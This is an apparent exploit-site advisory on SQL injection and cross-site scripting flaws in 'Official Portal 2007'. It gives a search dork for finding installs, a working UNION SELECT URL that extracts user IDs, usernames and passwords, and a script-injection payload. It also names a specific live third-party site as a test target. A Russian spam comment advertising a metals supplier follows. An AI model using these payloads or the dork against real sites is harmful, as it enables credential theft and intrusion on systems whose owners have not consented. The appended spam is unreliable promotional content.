10.50.05
Official Portal 2007 Multiple Vulnerabilities
##############################
###################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Official Portal 2007
#################################################################
# Vulnerability Info:
# Type: Sql Injection/XSS
# Risk: Medium
# Dork: "Official Portal 2007"
#################################################################
Vulnerability:
=======================
Sql Injection
=======================
http://site.com/?fa=content.detail&id=-72+union+select+1,concat_ws%280x3a,userid,username,pwd%29,3,4,5,6,7,8,9,10,11+from+tuser--

=======================
Cross Site Scripting
=======================
http://site.com/?fa=<SCRIPT/SRC="http://site.com/xss.js"></SCRIPT>

#################################################################
Live Test: http://www.bkd-bandungkab.com
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################
Views: 1702 | Added by: b1zz4rd | Rating: 0.0/0
Total comments: 1
1 Deborahdaw  
0
Требуется достоверного поставщика РЗМ и спецсплавов? Рекомендуем компанию Редметсплав.рф. Мы формируем колоссальный перечень продукции, обеспечивая безупречные характеристики каждого изделия.

Редметсплав.рф сопровождает все этапы сделки, выдавая полный пакет разрешительных документов для официального учета товаров. Неважно, какие масштабы поставок вам необходимы — от розничных отгрузок до крупнооптовых заказов, мы готовы выполнить любой запрос с прекрасным качеством обслуживания.

Наша команда специалистов всегда готова помочь, чтобы проконсультировать при выборе товаров и ответить на любые вопросы, связанные с эксплуатацией и параметрами металлов. Выбирая нас, вы выбираете уверенность в каждой составляющей сотрудничества.

Заходите на портал Редметсплав.рф и убедитесь, что качество и уровень нашего сервиса — ваш лучший выбор.
Поставляемая продукция:

<a href=https://редметсплав.рф/catalog/diski-iz-dragotsennykh-metallov/disk-iz-dragotsennykh-metallov-palladievyi-20kh2-mm-pdsr60-40-tu/>Диск из драгоценных металлов палладиевый 20х2 мм ПдСр60-40 ТУ</a> Широкий выбор дисков из драгоценных металлов для вашего автомобиля. Эксклюзивный дизайн, высокая устойчивость к коррозии, улучшенная управляемость и неповторимый стиль. Подчеркните индивидуальность вашего автомобиля с нашими уникальными дисками.

Name *:
Email *:
Code *:
close